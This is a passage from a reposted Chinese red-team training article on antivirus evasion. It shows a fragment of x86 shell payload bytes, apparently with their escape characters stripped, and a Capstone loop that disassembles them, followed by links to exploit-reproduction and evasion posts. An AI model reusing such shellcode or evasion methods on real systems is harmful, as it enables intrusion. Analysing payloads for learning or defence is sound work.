shellcode += "xe3x57x57x57x31xf6x6ax12x59x56xe2xfdx66"
shellcode += "xc7x44x24x3cx01x01x8dx44x24x10xc6x00x44"
shellcode += "x54x50x56x56x56x46x56x4ex56x56x53x56x68"
shellcode += "x79xccx3fx86xffxd5x89xe0x4ex56x46xffx30"
shellcode += "x68x08x87x1dx60xffxd5xbbxaaxc5xe2x5dx68"
shellcode += "xa6x95xbdx9dxffxd5x3cx06x7cx0ax80xfbxe0"
shellcode += "x75x05xbbx47x13x72x6fx6ax00x53xffxd5"
md = Cs(CS_ARCH_X86, CS_MODE_32)
for i in md.disasm(shellcode, 0x00):
  print("0x%x:t%st%s" %(i.address, i.mnemonic, i.op_str))
红队免杀培训第一章-不可执行的shellcode

【往期推荐】

【内网渗透】内网信息收集命令汇总

【内网渗透】域内信息收集命令汇总

【超详细 | Python】CS免杀-Shellcode Loader原理(python)

【超详细 | Python】CS免杀-分离+混淆免杀思路

【超详细 | 钟馗之眼】ZoomEye-python命令行的使用

【超详细 | 附EXP】Weblogic CVE-2021-2394 RCE漏洞复现

【超详细】CVE-2020-14882 | Weblogic未授权命令执行漏洞复现

【超详细 | 附PoC】CVE-2021-2109 | Weblogic Server远程代码执行漏洞复现

【漏洞分析 | 附EXP】CVE-2021-21985 VMware vCenter Server 远程代码执行漏洞

【CNVD-2021-30167 | 附PoC】用友NC BeanShell远程代码执行漏洞复现

【奇淫巧技】如何成为一个合格的“FOFA”工程师

【超详细】Microsoft Exchange 远程代码执行漏洞复现【CVE-2020-17144】

【超详细】Fastjson1.2.24反序列化漏洞复现

  记一次HW实战笔记 | 艰难的提权爬坑

【漏洞速递+检测脚本 | CVE-2021-49104】泛微E-Office任意文件上传漏洞

免杀基础教学(上卷)

免杀基础教学(下卷)

走过路过的大佬们留个关注再走呗红队免杀培训第一章-不可执行的shellcode

往期文章有彩蛋哦红队免杀培训第一章-不可执行的shellcode

红队免杀培训第一章-不可执行的shellcode

一如既往的学习,一如既往的整理,一如即往的分享红队免杀培训第一章-不可执行的shellcode

如侵权请私聊公众号删文

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月4日17:53:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   红队免杀培训第一章-不可执行的shellcodehttps://cn-sec.com/archives/815461.html

发表评论

匿名网友 填写信息